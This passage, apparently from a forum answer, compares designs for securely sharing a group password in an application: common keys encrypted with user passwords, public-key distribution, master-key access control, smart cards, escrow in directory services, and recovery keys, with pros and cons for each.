You don't need to do the second step but this prevents having to decrypt/re-encrypt each group password when the user's password changes, you only need to decrypt/re-encrypt the common key.

Pros:

Fairly easy to implement.
Can be done natively in the database with newer version of MySQL.

Cons:

You need to distribute the group password securely to each user once + each time the group password changes.
If the user forget his/her password and it is administrative reset, the common key/group passwords would need to be re-entered as they can't be decrypted, which mean redistribution or writing them down, etc.. - a recovery key would mitigate this.
Group password can be easily shared by individuals that have access with individuals that shouldn't have access. Access control would mitigate the risk of this.

Keychain: Using asymmetric key distribution

This is a variation on the first method. In this method you rely on the strengths of asymmetric/public key encryption such as RSA for distribution and protection of the group password. The key advantage to this method is that you can eliminate the user having to enter the group password.

Each individual has an asymmetric encryption key.
The group admin sets who has access to the group data by encrypting the group password with an individual's public key.

One example of how is could be could be done is:

By storing a public key in the database with user information.
When a person needs access to the group data store the group admin adds group password to the individual's keychain. In practical terms this could mean, getting the group password, encrypting it with the individual's public key then adding a row in the database mapping user to data store with the encrypted group password.
The individual with access might now get an invitation message letting them know that admin has added them to the data store.
Encrypt the private key with the user's password, or whatever is being used to authenticate the user.

Pros:

Reduce risk of group password being exposed.
User's does have to enter the group password.
Group admin has more control on who gets the group password, because the group password is not directly shared with the individual, only within the application.

Cons:

If the user forget his/her password and it is administrative reset, the private key can't be decrypted and would need to be regenerated. This would require each group admin to re-add the individual - a recovery key would mitigate this.

Use access control in the application

Store the group password in the application/database, using a master encryption/decryption key that the application uses to decrypt the group passwords.

Pros:

Commonly used.
Most frameworks/databases will natively support this.

Cons:

Relies on access control to restrict access. But that is expected.
Relies on secure storage of the master key.
Application admins may be able to gain access to the data because they have access to change access control or access to the master key. Generally not an issue.

Use a smart card

If individuals can use a smart card (which might not be possible) you can store the group password or the common/private keys mentioned in the first to options. Then use a pin to unlock it. Windows 8.x supports virtual smart cards on a Trusted Platform Module (TPM) chip which might also be an option if each person are all part of the same enterprise.

Store in escrow

The last option is to store the group password, common or private key in an source outside the application, that uses access control but can be integrated into the application.

This could take many forms including:

A restricted attribute, deployed certification of a directory service such as Active Directory Domain Services
A claim from a federation services such as Active Directory Federation Services
Other custom application/identity service

Other notes

Newer version of MySQL natively support AES_DECRYPT/AES_ENCRYPT methods which can offload some of the encryption from the application.

I mentioned recovery key a few times, which would be an asymmetric key that the application or an admin uses to recover the common or private key used by an individual. In practical terms when the common or private key is stored for an individual it is encrypted by the individual's password and stored, a second copy of is also encrypted a with the recovery key.

In the event of a password reset of the individual the recovery key can be used to decrypt the recovery copy of the common/private key and then re-encrypt it with the user's new password.

I hope that answers your question.